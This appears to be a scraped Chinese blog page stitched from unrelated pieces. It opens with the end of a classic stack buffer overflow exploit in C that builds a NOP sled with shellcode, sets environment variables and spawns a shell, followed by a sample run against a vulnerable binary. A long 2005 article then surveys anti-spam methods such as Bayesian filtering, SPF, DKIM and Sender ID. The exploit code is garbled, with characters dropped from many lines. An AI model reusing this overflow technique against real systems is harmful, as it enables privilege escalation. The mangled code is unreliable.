if (!(egg = malloc(eggsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_esp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode［i］;
uff［bsize - 1］ = '0';
egg［eggsize - 1］ = '0';
memcpy(egg,"BUF=",4);
utenv(egg);
memcpy(buff,"RET=",4);
utenv(buff);
ystem("/bin/bash");
}
end of exploit3.c
［hosts］$ exploit2 600
Using address: 0xbffff5d7
［hosts］$ ./hole $RET
#exit
［hosts］$

寻找溢出

当然有能更准确找到缓冲溢出的方法，那就是读它的源程序。因为Linux是个开放的系统，你很容易就可以得到它的源程序。

寻找没有边界校验的库函数调用，如:

trcpy(), strcat(), sprintf(), vsprintf(), scanf()

其他的具有危险的函数如：在“当型”循环中的getc()和getchar()，strncat函数的错误使用。

[新闻]Mono 2.0终于到来
博客园首页社区新闻频道小组博问网摘闪存

反垃圾邮件技术解析

F4ncy Blog — Mon, 29 Aug 2005 12:14:00 GMT

反垃圾邮件技术解析

作者：refdom

1、概述
    电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件现在会造成1年94亿美元的损失（来自chinabyte上一则新闻的数据），在一些文章表明，垃圾邮件可能会花费一个公司内每个用户600到1000美元。
    垃圾邮件随着互联网的不断发展而大量增长，不再像以前一样，只是小小的一个骚扰，现在的垃圾邮件可以说是铺天盖地了。最初，垃圾邮件主要是一些不请自来的商业宣传电子邮件，而现在更多的有关色情、政治的垃圾邮件不断增加，甚至达到了总垃圾邮件量的40%左右，并且仍然有持续增长的趋势。另一方面，垃圾邮件成了计算机病毒新的、快速的传播途径。
    而且目前世界上50%的邮件都是垃圾邮件，只有少数组织承担责任。很多反垃圾邮件的措施都被提出出来，但是只有非常少的被实施了。不幸的是，这些解决办法也都还不能完全阻止垃圾邮件，而且还对正常的邮件来往产生影响。

1.1、什么是垃圾邮件？
    某种程度上，对垃圾邮件的定义可以是：那些人们没有意愿去接收到的电子邮件都是垃圾邮件。比如：
    *商业广告。很多公司为了宣传新的产品、新的活动等通过电子邮件的方式进行宣传。
    *政治言论。目前会收到不少来自其他国家或者反动组织发送的这类电子邮件，这就跟垃圾的商业广告一样，销售和贩卖他们的所谓言论。
    *蠕虫病毒邮件。越来越多的病毒通过电子邮件来迅速传播，这也的确是一条迅速而且有效的传播途径。
    *恶意邮件。恐吓、欺骗性邮件。比如phishing，这是一种假冒网页的电子邮件，完全是一种诡计，来蒙骗用户的个人信息、账号甚至信用卡。

普通个人的电子邮箱怎么成为了垃圾邮件的目标呢，造成这样的结果有很多原因，比如在网站、论坛等地方注册了邮件地址，病毒等在朋友的邮箱中找到了你的电子邮箱，对邮件提供商进行的用户枚举，等等。通常情况下，越少暴露电子邮件地址越少接收到垃圾邮件，使用时间越短越少接收到垃圾邮件。一些无奈的用户就选择了放弃自己的邮箱而更换新的电子邮箱。

1.2、安全问题
    垃圾邮件给互联网以及广大的使用者带来了很大的影响，这种影响不仅仅是人们需要花费时间来处理垃圾邮件、占用系统资源等，同时也带来了很多的安全问题。
    垃圾邮件占用了大量网络资源，这是显而易见的。一些邮件服务器因为安全性差，被作为垃圾邮件转发站为被警告、封IP等事件时有发生，大量消耗的网络资源使得正常的业务运作变得缓慢。随着国际上反垃圾邮件的发展，组织间黑名单共享，使得无辜服务器被更大范围屏蔽，这无疑会给正常用户的使用造成严重问题。
    垃圾邮件和黑客攻击、病毒等结合也越来越密切，比如，SoBig蠕虫就安装开放的，可以用来支持邮件转发的代理。随着垃圾邮件的演变，用恶意代码或者监视软件等来支持垃圾邮件已经明显地增加了。2003年12月31，巴西的一个黑客组织发送包含恶意javascript脚本的垃圾邮件给数百万用户，那些通过Hotmail来浏览这些垃圾邮件的人们在不知不觉中已经泄露了他们的账号。另外一个例子就是，近来IE的URL显示问题，在主机名前添加"%01"可以隐藏真实的主机地址，在被发布之后几个星期内就出现在垃圾邮件中了。
越来越具有欺骗性的病毒邮件，让很多企业深受其害，即便采取了很好的网络保护策略，依然很难避免，越来越多的安全事件都是因为邮件产生的，可能是病毒、木马或者其他恶意程序。Phishing的假冒诡计对于普通使用者来说，的确很难作出正确的判断，但是造成的损失却是很直接的。

2、反垃圾邮件技术

已经存在的和在被提及的反垃圾邮件方法试图来减少垃圾邮件问题和处理安全需求。通过正确的识别垃圾邮件，邮件病毒或者邮件攻击程序等都会减少。这些解决方法采取多种安全途径来努力阻止垃圾邮件。
Dr. Neal Krawetz在Anti-Spam Solutions and Security[ref 1]文中将反垃圾邮件技术作了非常好的分类。当前的反垃圾邮件技术可以分为4大类：过滤器（Filter）、反向查询(Reverse lookup)、挑战(challenges)和密码术(cryptography),这些解决办法都可以减少垃圾邮件问题，但是都有它们的局限性。本文将在下面的内容讨论这些技术以及一些主要技术的实现。

2.1、过滤
过滤（Filter）是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统（MUA，如OUTLOOK EXPRESS或者MTA，如sendmail）来辨别和处理垃圾邮件。从应用情况来看，这种技术也是使用最广泛的，比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等，都是采用的过滤技术。

2.1.1、关键词过滤
关键词过滤技术通常创建一些简单或复杂的与垃圾邮件关联的单词表来识别和处理垃圾邮件。比如某些关键词大量出现在垃圾邮件中，如一些病毒的邮件标题，比如：test。这种方式比较类似反病毒软件利用的病毒特征一样。可以说这是一种简单的内容过滤方式来处理垃圾邮件，它的基础是必须创建一个庞大的过滤关键词列表。
这种技术缺陷很明显，过滤的能力同关键词有明显联系，关键词列表也会造成错报可能比较大，当然系统采用这种技术来处理邮件的时候消耗的系统资源会比较多。并且，一般躲避关键词的技术比如拆词，组词就很容易绕过过滤。

2.1.2、黑白名单
黑名单（Black List）和白名单（White List）。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。现在有很多组织都在做*bl（block list），将那些经常发送垃圾邮件的IP地址（甚至IP地址范围）收集在一起，做成block list，比如spamhaus的SBL（Spamhaus Block List），一个BL，可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反，对于那些信任的邮件地址或者IP就完全接受了。
目前很多邮件接收端都采用了黑白名单的方式来处理垃圾邮件，包括MUA和MTA，当然在MTA中使用得更广泛，这样可以有效地减少服务器的负担。

BL技术也有明显的缺陷，因为不能在block list中包含所有的（即便是大量）的IP地址，而且垃圾邮件发送者很容易通过不同的IP地址来制造垃圾。

2.1.3 HASH技术
HASH技术是邮件系统通过创建HASH来描述邮件内容，比如将邮件的内容、发件人等作为参数，最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同，那么说明邮件内容、发件人等相同。这在一些ISP上在采用，如果出现重复的HASH值，那么就可以怀疑是大批量发送邮件了。

2.1.4 基于规则的过滤
这种过滤根据某些特征（比如单词、词组、位置、大小、附件等）来形成规则，通过这些规则来描述垃圾邮件，就好比IDS中描述一条入侵事件一样。要使得过滤器有效，就意味着管理人员要维护一个庞大的规则库。

2.1.5 智能和概率系统
广泛使用的就是贝叶斯(Bayesian)算法，可以学习单词的频率和模式，这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说，更复杂和更智能化的内容过滤技术。我将在下面详细描述这种在客户端和服务器中使用最广泛的技术。

2.1.5.1 Bayesian 贝叶斯算法
在过滤器中，现在表现最好的应该是基于评分(score)的过滤器，因为我们很容易就可以明白对付狡猾的垃圾邮件，那些黑白名单、关键词库或者HASH等过滤器是多么的简单。评分系统过滤器是一种最基本的算法过滤器，也是贝叶斯算法的基本雏形。它的原理就是检查垃圾邮件中的词或字符等，将每个特征元素（最简单的元素就是单词，复杂点的元素就是短语）都给出一个分数（正分数），另一方面就是检查正常邮件的特征元素，用来降低得分的（负分数）。最后邮件整体就得到一个垃圾邮件总分，通过这个分数来判断是否spam。

    这种评分过滤器尽量实现了自动识别垃圾邮件的功能，但是依然存在一些不适应的问题：
    *特征元素列表通过垃圾邮件或者正常邮件获得。因此，要提高识别垃圾邮件的效果，就要从数百邮件中来学习，这降低了过滤器效率，因为对于不同人来说，正常邮件的特征元素是不一样的。
    *获得特征元素分析的邮件数量多少是一个关键。如果垃圾邮件发送者也适应了这些特征，就可能让垃圾邮件更象正常邮件。这样的话，过滤特征就要更改了。
    *每个词计算的分数应该基于一种很好的评价，但是还是有随意性。比如，特征就可能不会适应垃圾邮件的单词变化，也不会适应某个用户的需要。

贝叶斯理论现在在计算机行业中应用相当广泛，这是一种对事物的不确定性描述，比如google计算中就采用了贝叶斯理论。贝叶斯算法的过滤器就是计算邮件内容中成为垃圾邮件的概率，它要首先从许多垃圾邮件和正常邮件中进行学习，因此，效果将比普通的内容过滤器更优秀，错报就会更少。贝叶斯过滤器也是一种基于评分的过滤器。但不仅仅是一种简单的计算分数，而更从根本上来识别。它采用自动建立特征表的方式，原理上，首先分析大量的垃圾邮件和大量的正常邮件，算法分析邮件中多种特征出现概率。

贝叶斯算法计算特征的来源通常是：
·邮件正文中的单词
·邮件头（发送者、传递路径等）
·其他表现，比如HTML编码（如颜色等）
·词组、短语
·meta信息，比如特殊短语出现位置等

比如，正常邮件中经常出现单词AAA，但是基本不在垃圾邮件中出现，那么，AAA标示垃圾邮件的概率就接近0，反之则然。

贝叶斯算法的步骤为：
1. 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。
2. 提取特征来源中的独立字符串，例如 AAA等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。
3. 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。
4. 计算每个哈希表中TOKEN串出现的概率P=(某TOKEN串的字频)/(对应哈希表的长度)
5. 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为：
　　A 事件 ---- 邮件为垃圾邮件；
　　t1,t2 …….tn 代表 TOKEN 串
　　则 P(A|ti)表示在邮件中出现 TOKEN 串 ti 时，该邮件为垃圾邮件的概率。设
　　P1(ti)=ti 在 hashtable_good 中的值
　　P2(ti)=ti 在 hashtable_ bad 中的值
　　则 P(A|ti)=P2(ti)/[(P1(ti)+P2(ti)] ；
6. 建立新的哈希表hashtable_probability存储TOKEN串ti到P(A|ti)的映射
7.根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。
当新到一封邮件时，按照步骤2，生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。假设由该邮件共得到N个TOKEN 串，t1,t2…….tn,hashtable_probability中对应的值为 P1 ，P2 ，……PN ，P(A|t1 ,t2, t3……tn) 表示在邮件中同时出现多个TOKEN串t1,t2……tn时，该邮件为垃圾邮件的概率。
由复合概率公式可得:
P(A|t1 ,t2, t3……tn)=（P1*P2*……PN）/[P1*P2*……PN+（1-P1）*（1-P2）*……（1-PN）]
当 P(A|t1 ,t2, t3……tn) 超过预定阈值时，就可以判断邮件为垃圾邮件。

当新邮件到达的时候，就通过贝叶斯过滤器分析，通过使用各个特征来计算邮件是spam的概率。通过不断的分析，过滤器也不断地获得自更新。比如，通过各种特征判断一个包含单词AAA的邮件是spam，那么单词AAA成为垃圾邮件特征的概率就增加了。

这样，贝叶斯过滤器就有了自适应能力，既能自动进行，也可以用户手工操作，也就更能适应单个用户的使用。而垃圾邮件发送者要获得这样的适应能力就很难了，因此，更难逃避过滤器的过滤，但他们当然还是能够将邮件伪装成很普遍的正常邮件的样子。除非垃圾邮件发送者能去对某个人的过滤器进行判断，比如，采用发送回执的办法来了解哪些邮件被用户打开了等，这样他们就可以适应过滤器了。
虽然贝叶斯过滤器还存在有评分过滤器的缺陷，但是它更优化了。实践也证明，贝叶斯过滤器在客户端和服务器中效果是非常明显的，优秀的贝叶斯过滤器能够识别超过99.9%的垃圾邮件。大多数目前应用的反垃圾邮件产品都采用了这样的技术。比如Foxmail中的贝叶斯过滤。

2.1.6 局限性和缺点
现行的很多采用过滤器技术的反垃圾邮件产品通常都采用了多种过滤器技术，以便使产品更为有效。过滤器通过他们的误报和漏报来分等级。漏报就是指垃圾邮件绕过了过滤器的过滤。而误报则是将正常的邮件判断为了垃圾邮件。完美的过滤器系统应该是不存在漏报和误报的，但是这是理想情况。

    一些基于过滤器原理的反垃圾邮件系统通常有下面的三种局限性：
    ·可能被绕过。垃圾邮件发送者和他们用的发送工具也不是静态的，他们也会很快适应过滤器。比如，针对关键字列表，他们可以随机更改一些单词的拼写，比如("强悍", "弓虽悍", "强-悍").Hash-buster（在每个邮件中产生不同的HASH）就是来绕过hash过滤器的。当前普遍使用的贝叶斯过滤器可以通过插入随机单词或句子来绕过。多数过滤器都最多只能在少数几周才最有效，为了保持反垃圾邮件系统的实用性，过滤器规则就必须不断更新，比如每天或者每周更新。
    ·误报问题。最头痛的问题就是将正常邮件判断为垃圾邮件。比如，一封包含单词sample的正常邮件可能因此被判断为垃圾邮件。某些正常服务器不幸包含在不负责任的组织发布的block list对某个网段进行屏蔽中，而不是因为发送了垃圾邮件（xfocus的服务器就是这样的一个例子）。但是，如果要减少误报问题，就可能造成严重的漏报问题了。
    ·过滤器复查。由于误报问题的存在，通常被标记为垃圾邮件的消息一般不会被立刻删除，而是被放置到垃圾邮件箱里面，以便日后检查。不幸的是，这也意味着用户仍然必须花费时间去察看垃圾邮件，即便仅仅只针对邮件标题。

目前更严重的问题是，人们依然认为过滤器能有效阻止垃圾邮件。实际上，垃圾邮件过滤器并不能有效阻止垃圾邮件，在多数案例中，垃圾邮件依然存在，依然穿过了网络，并且依然被传播。除非用户不介意存在被误报的邮件，不介意依然会浏览垃圾邮件。过滤器可以帮助我们来组织并分隔邮件为垃圾邮件和正常邮件，但是过滤器技术并不能阻止垃圾邮件，实际上只是在"处理"垃圾邮件。

尽管过滤器技术存在局限，但是，这是目前最为广泛使用的反垃圾邮件技术。

2.2、验证查询
SMTP在设计的时候并没有考虑到安全问题。在1973年，计算机安全还没有什么意义，那个时候能够有一个可执行的邮件协议已经很了不起了。比如，RFC524描述将SMTP作为独立协议的一些情况：

"虽然人们可以或者可能可以，以本文档为基础设计软件，但请恰如其分地进行批注。请提出建议和问题。我坚信协议中依然存在问题，我希望读者能够阅读RFC的时候能够将它们都指出来。"

尽管SMTP的命令组已经发展了很长时间，但是人们还是以RFC524为基础来执行SMTP的，而且还都假定问题（比如安全问题）都会在以后被解决。因此直到2004年，源自RFC524中的错误还是依然存在，这个时候SMTP已经变得非常广泛而很难简单被代替。垃圾邮件就是一个滥用SMTP协议的例子，多数垃圾邮件工具都可以伪造邮件头，伪造发送者，或者隐藏源头。

    垃圾邮件一般都是使用的伪造的发送者地址，极少数的垃圾邮件才会用真实地址。垃圾邮件发送者伪造邮件有下面的几个原因：
    *因为是违法的。在多个国家内，发送垃圾邮件都是违法行为，通过伪造发送地址，发送者就可能避免被起诉。
    *因为不受欢迎。垃圾邮件发送者都明白垃圾邮件是不受欢迎的。通过伪造发送者地址，就可能减少这种反应。
    *受到ISP的限制。多数ISP都有防止垃圾邮件的服务条款，通过伪造发送者地址，他们可以减少被ISP禁止网络访问的可能性。

因此，如果我们能够采用类似黑白名单一样，能够更智能地识别哪些是伪造的邮件，哪些是合法的邮件，那么就能从很大程度上解决垃圾邮件问题，验证查询技术正是基于这样的出发点而产生的。以下还会解析一些主要的反垃圾邮件技术，比如Yahoo!、微软、IBM等所倡导和主持的反垃圾邮件技术，把它们划分在反向验证查询技术中并不是很恰当，但是，从某种角度来说，这些技术都是更复杂的验证查询。

2.2.1、反向查询技术
    从垃圾邮件的伪造角度来说，能够解决邮件的伪造问题，就可以避免大量垃圾邮件的产生。为了限制伪造发送者地址，一些系统要求验证发送者邮件地址，这些系统包括：
    反向邮件交换（RMX）<http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt>
    发送者许可（SPF）<http://spf.pobox.com/>
    标明邮件协议（DMP）<http://www.pan-am.ca/dmp/>

这些技术都比较相近。DNS是全球互联网服务来处理IP地址和域名之间的转化。在1986年，DNS扩展，并有了邮件交换纪录（MX），当发送邮件的时候，邮件服务器通过查询MX纪录来对应接收者的域名。

类似于MX纪录，反向查询解决方案就是定义反向的MX纪录（"RMX"--RMX，"SPF"--SPF，"DMP"--DMP），用来判断是否邮件的指定域名和IP地址是完全对应的。基本原因就是伪造邮件的地址是不会真实来自RMX地址，因此可以判断是否伪造。

2.2.2    DKIM技术
    DKIM（DomainKeys Identified Mail）技术基于雅虎的DomainKeys验证技术和思科的Internet Identified Mail。
    雅虎的DomainKeys利用公共密钥密码术验证电子邮件发件人。发送系统生成一个签名并把签名插入电子邮件标题，而接收系统利用DNS发布的一个公共密钥验证这个签名。思科的验证技术也利用密码术，但它把签名和电子邮件消息本身关联。发送服务器为电子邮件消息签名并把签名和用于生成签名的公共密钥插入一个新标题。而接收系统验证这个用于为电子邮件消息签名的公共密钥是授权给这个发件地址使用的。

    DKIM将把这两个验证系统整合起来。它将以和DomainKeys相同的方式用DNS发布的公共密钥验证签名，它也将利用思科的标题签名技术确保一致性。
    DKIM给邮件提供一种机制来同时验证每个域邮件发送者和消息的完整性。一旦域能被验证，就用来同邮件中的发送者地址作比较检测伪造。如果是伪造，那么可能是spam或者是欺骗邮件，就可以被丢弃。如果不是伪造的，并且域是已知的，可为其建立起良好的声誉，并绑定到反垃圾邮件策略系统中，也可以在服务提供商之间共享，甚至直接提供给用户。
    对于知名公司来说，通常需要发送各种业务邮件给客户、银行等，这样，邮件的确认就显得很重要。可以保护避免受到phishing攻击。
    现在，DKIM技术标准提交给IETF，可以参考draft文档http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt

DomainKeys的实现过程

发送服务器经过两步：
1、建立。域所有者需要产生一对公/私钥用于标记所有发出的邮件（允许多对密钥），公钥在DNS中公开，私钥在使用DomainKey的邮件服务器上。
2、签名。当每个用户发送邮件的时候，邮件系统自动使用存储的私钥来产生签名。签名作为邮件头的一部分，然后邮件被传递到接收服务器上。

接收服务器通过三步来验证签名邮件：
1、准备。接收服务器从邮件头提取出签名和发送域（From:）然后从DNS获得相应的公钥。
2、验证。接收服务器用从DNS获得的公钥来验证用私钥产生的签名。这保证邮件真实发送并且没有被修改过。
3、传递。接收服务器使用本地策略来作出最后结果，如果域被验证了，而且其他的反垃圾邮件测试也没有决定，那么邮件就被传递到用户的收件箱中，否则，邮件可以被抛弃、隔离等。

2.2.3、SenderID技术
    2004年，Gates曾信誓旦旦地预言微软能够在未来消灭垃圾邮件，他所期望的就是Sender ID技术，但是，最近他则收回了他的预言。这也就是标准之争，微软希望IETF能够采用Sender ID技术作为标准，并且得到了大量支持，比如Cisco, Comcast, IBM, Cisco,Port25,Sendmail,Symantec,VeriSign等，也包括后来又倒戈的AOL的支持，但是在开源社区，微软一直没有得到足够的支持，IETF最终否决了微软的提议。
    SenderID技术主要包括两个方面：发送邮件方的支持和接收邮件方的支持。其中发送邮件方的支持主要有三个部分：发信人需要修改邮件服务器的DNS，增加特定的SPF记录以表明其发信身份，比如"v=spf1 ip4:192.0.2.0/24 -all"，表示使用SPF1版本，对于192.0.2.0/24这个网段是有效的；在可选情况下，发信人的MTA支持在其外发邮件的发信通信协议中增加SUBMITTER等扩展，并在其邮件中增加Resent-Sender、Resent-From、Sender等信头。
    接收邮件方的支持有：收信人的邮件服务器必须采用SenderID检查技术，对收到的邮件检查PRA或MAILFROM，查询发件者DNS的SPF纪录，并以此验证发件者身份。

因此，采用Sender ID技术，其整个过程为：
第一步，发件人撰写邮件并发送；
第二步，邮件转移到接收邮件服务器；
第三步，接收邮件服务器通过SenderID技术对发件人所声称的身份进行检查（该检查通过DNS的特定查询进行）；
第四步，如果发现发信人所声称的身份和其发信地址相匹配，那么接收该邮件，否则对该邮件采取特定操作，比如直接拒收该邮件,或者作为垃圾邮件。

Sender ID技术实际上并不是根除垃圾邮件的法宝，它只是一个解决垃圾邮件发送源的技术，从本质上来说，并不能鉴定一个邮件是否是垃圾邮件。比如，垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，垃圾邮件发送者还可以通过别人的邮件服务器的漏洞转发其垃圾邮件，这同样是SenderID技术所不能解决的。

2.2.4、FairUCE技术
FairUCE（Fair use of Unsolicited Commercial Email）由IBM开发，该技术使用网络领域的内置身份管理工具，通过分析电子邮件域名过滤并封锁垃圾邮件。
FairUCE把收到的邮件同其源头的IP地址相链接--在电子邮件地址、电子邮件域和发送邮件的计算机之间建立起一种联系，以确定电子邮件的合法性。比如采用SPF或者其他方法。如果，能够找到关系，那么检查接受方的黑白名单，以及域名名声，以此决定对该邮件的操作，比如接收、拒绝等。

FairUCE还有一个功能，就是通过溯源找到垃圾邮件的发送源头，并且将那些传递过来的垃圾邮件再转回给发送源头，以此来打击垃圾邮件发送者。这种做法利弊都有。好处就是能够影响垃圾邮件发送源头的性能，坏处就是可能打击倒正常的服务器（比如被利用的）的正常工作，同时该功能又复制了大量垃圾流量。

2.2.5、局限性和缺点
这些解决方案都具有一定的可用性，但是也存在一些缺点：

**非主机或空的域名
反向查询方法要求邮件来自已知的并且信任的邮件服务器，而且对应合理IP地址（反向MX纪录）。但是，多数的域名实际上并不同完全静态的IP地址对应。通常情况下，个人和小公司也希望拥有自己的域名，但是，这并不能提供足够的IP地址来满足要求。DNS注册主机，比如GoDaddy，向那些没有主机或只有空域名的人提供免费邮件转发服务。尽管这种邮件转发服务只能管理接收的邮件，而不能提供邮件发送服务。

    反向查询解决方案对这些没有主机或者只有空域名的用户造成一些问题：
    ·没有反向MX记录。这些用户现在可以配置邮件客户端就可以用自己注册的域名能发送邮件。但是，要反向查询发送者域名的IP地址就根本找不到。特别是对于那些移动的、拨号的和其他会频繁改变自己IP地址的用户。
    ·不能发送邮件。要解决上面的问题，一个办法就是通过ISP的服务器来转发邮件，这样就可以提供一个反向MX纪录，但是，只要发送者的域名和ISP的域名不一样的时候，ISP现在是不会允许转发邮件的。
    这两种情况下，这些用户都会被反向查询系统拦截掉。

**合法域名
能验证身份，并不一定就是合法的身份，比如：垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，目前很多垃圾邮件发送者可以通过别人的邮件服务器漏洞进入合法邮件系统来转发其垃圾邮件，这些问题对于验证查询来说还无法解决。

2.3、挑战
垃圾邮件发送者使用一些自动邮件发送软件每天可以产生数百万的邮件。挑战的技术通过延缓邮件处理过程，将可以阻碍大量邮件发送者。那些只发送少量邮件的正常用户不会受到明显的影响。但是，挑战的技术只在很少人使用的情况下获得了成功。如果在更普及的情况下，可能人们更关心的是是否会影响到邮件传递而不是会阻碍垃圾邮件。

这里介绍两种主要的挑战形式：挑战-响应，和计算性挑战（challenge-response and proposed computational challenges）

2.3.1 挑战-响应
挑战-响应（Challenge-Response：CR）系统保留着许可发送者的列表。一个新的邮件发送者发送的邮件将被临时保留下来而不立即被传递。然后向这个邮件发送者返回一封包含挑战的邮件（挑战可以是连接URL或者是要求回复）。当完成挑战后，新的发送者则被加入到许可发送者列表中。对于那些使用假邮件地址的垃圾邮件来说，它们不可能接收到挑战，而如果使用真实邮件地址的话，又不可能回复所有的挑战。但是，CR系统还是有许多局限性：

    CR死锁。假如Alice告诉Bill要给朋友Charlie发送邮件。Bill发送一个邮件给Charlie，Charlie的CR系统临时中断邮件并发送给Bill一个挑战。但是Bill的CR系统又会中断Charlie这里发送出来的挑战邮件，并发送自己的挑战。因此，结果就是，用户都没有接收到挑战，而且用户也无法回复邮件。而且用户也无法知道，在挑战过程中发生了问题。因此，如果双方都使用CR系统的话，他们就可能根本无法进行沟通。
    自动系统问题。邮件列表或者那些自动系统，比如一些网站的"发送给朋友……"功能，就不可能回应挑战。
    解释挑战。许多CR系统都执行解释性挑战。这些复杂的CR系统包含了字符识别和参数匹配，但是即便如此，还是能够进行自动化操作。比如，Yahoo的CR系统在创建新邮件账号的时候，对于那些有简单智能字符分析的系统是存在漏洞的。Hushmail的邮件CR系统要求从蓝背景图片中找出指定的图形（分析背景，找出图形，提交坐标，这是可能的）

这些在市场宣传神化中强调了两点：1、人们必须得提供挑战，2、这些问题都非常复杂而不太可能自动化操作。但是实际上，多数的垃圾邮件发送者完全不理睬了这些CR系统，因为他们主要是担心没有大量的接收者，而不是担心挑战太复杂。许多垃圾邮件发送者也使用有效的邮件地址。当CR系统会干扰垃圾邮件的时候，那些发送者也会找出自动化搞定这些挑战的办法的。

2.3.2、计算性挑战
现在也提出了一些计算性挑战方案Computational Challenge (CC)，如，通过增加发送邮件的"费用"。多数CC系统使用复杂的算法来有意拖延时间。对于单个用户来说，这种拖延很难被察觉，但是对于发送大量邮件的垃圾邮件发送者来说，这就意味着要花费很多时间了。CC系统的实例，如Hash Cash (http://www.cypherspace.org/adam/hashcash/)。但是，即便如此，CC系统还是会影响快速通讯而不仅仅影响垃圾邮件。这些局限包括：

    ·不平等影响。计算性挑战是以CPU、内存和网络为基础的，比如，在1Ghz计算机上挑战可能花费10秒，但是在500Mhz上就需要花费20秒了。
    ·邮件列表。许多邮件列表都有数千，甚至数百万的接受者。比如BugTraq，就可能会被看作垃圾邮件了。CC系统来处理邮件列表是不现实的。如果垃圾邮件发送有办法通过合法的邮件列表来绕过挑战，那么他们也就有办法绕过其他的挑战了。
    ·机器人程序。Sobig或者其他象垃圾邮件一样的病毒，能让垃圾邮件发送者控制大量的机器。这就让他们能够用大量的系统来均衡"费用"了。
    ·合法的机器人程序。垃圾邮件发送者发送垃圾邮件是因为会给他们带来收入。如果这些人联合起来，就可能提供大量的系统来分担"费用"，这完全是合法的，而且不需要通过病毒了。

当前，计算性挑战还没有广泛应用，因为这种技术还不能解决spam问题，反而可能干扰正常用户。

2.4、密码术
现在提出了一些采用密码技术来验证邮件发送者的方案。从本质上来说，这些系统采用证书方式来提供证明。没有适当的证书，伪造的邮件就很容易被识别出来，下面就是一些研究中的密码解决办法：

    AMTP. http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt
    MTP. http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt
    S/MIME and PGP/MIME. http://www.imc.org/smime-pgpmime.html

目前的邮件协议（SMTP）不能直接支持加密验证。研究中的解决方案扩展了SMTP（比如S/MIME，PGP/MIME和AMTP），还有一些其他的则打算代替现在的邮件体系，比如MTP。有趣的是，MTP的作者说到："SMTP已经有20多年历史了，然而近代的一些需求则在过去5到10年内发展起来。许多扩展都是针对SMTP的语句和语义，纯粹的SMTP不能满足这些需求，如果不改变SMTP的语句，是很难有所突破的。"但是，很多的扩展的SMTP实例恰恰表明了SMTP的可变性，而不是不变性，完全创造一个新的邮件传输协议并不是必须的。

在采用证书的时候，比如X.509或TLS，某些证书管理机构必须得可用，但是，如果证书存储在DNS，那么私钥必须得在验证的时候可用。（换句话说，如果垃圾邮件发送者可以访问这些私钥，那么他们就可以产生有效的公钥）。另一方面，也要用到主要的证书管理机构（CA），但是，邮件是一种分布式系统，没有人希望所有的邮件都由单独的CA来控制。一些解决办法因此允许多个CA系统，比如，X.509就会确定可用的CA服务器。这种扩展性也导致垃圾邮件发送者也可以运行着私有的CA服务器。

如果没有证书管理机构，就需要其他的途径在发送者和接收者之间来分发密钥。比如，PGP，就可以预先共享公钥。在未连接网络或者比较封闭的群组中，这种办法是可行的，但是在大量个体使用的时候，就不是太适合，特别是对于需要建立新的联系的情况下。从本质上来说，预先共享密钥有些类似白名单的过滤器：只有彼此知道的人才能发送邮件。

不幸的是，这些加密解决方案还不能阻止垃圾邮件，比如，假设其中的一种加密方案广泛被接受了。这些办法都不能确认邮件地址是真实的，而只是可以确认发送者有邮件的正确密钥。缺点就是：
·滥用自动化工具。如果在广大范围内被应用，就需要有一种办法为所有用户产生证书或者密钥（包括邮件服务器端，邮件客户端，依赖与相应的解决办法）系统很可能通过一种自动化的方法来提供密钥。可是，可以相信垃圾邮件发送者也会滥用任何自动化系统，并且用来发送经认证的垃圾邮件。
·可用性问题。这也有一些可用性的争论。比如，如果CA服务器不可用怎么办？邮件被挂起？退票？还是依然可用？垃圾邮件发送者近来对一半以上的提供黑名单网站进行了拒绝服务攻击，并导致这些网站都无法访问。显然，这些垃圾邮件发送者想阻止别人更新黑名单。对于单一的CA服务器，很显然也无法避免这样的命运。

3、总结
上面介绍了一些反垃圾邮件的技术，其实，现在很多反垃圾邮件方案所采用的都不会只是一种技术，而是多种多类技术的综合体。

垃圾邮件的危害现在已经深入人心，反垃圾邮件也取得越来越多的成绩，比如，Scott Richter向微软赔款700万。不少国家也在为反垃圾邮件进行立法，以便能够得到法律上的支持。

但从技术上来说，这跟反攻击一样，是一个正反双方的博弈过程，一种新的反垃圾邮件技术必然会出现一种对应得垃圾邮件技术，况且，任何一种技术，还没有办法去解决所有问题，技术的发展也将延续下去。

[新闻]百度任命李一男担任首席技术官
博客园首页社区新闻频道小组博问网摘闪存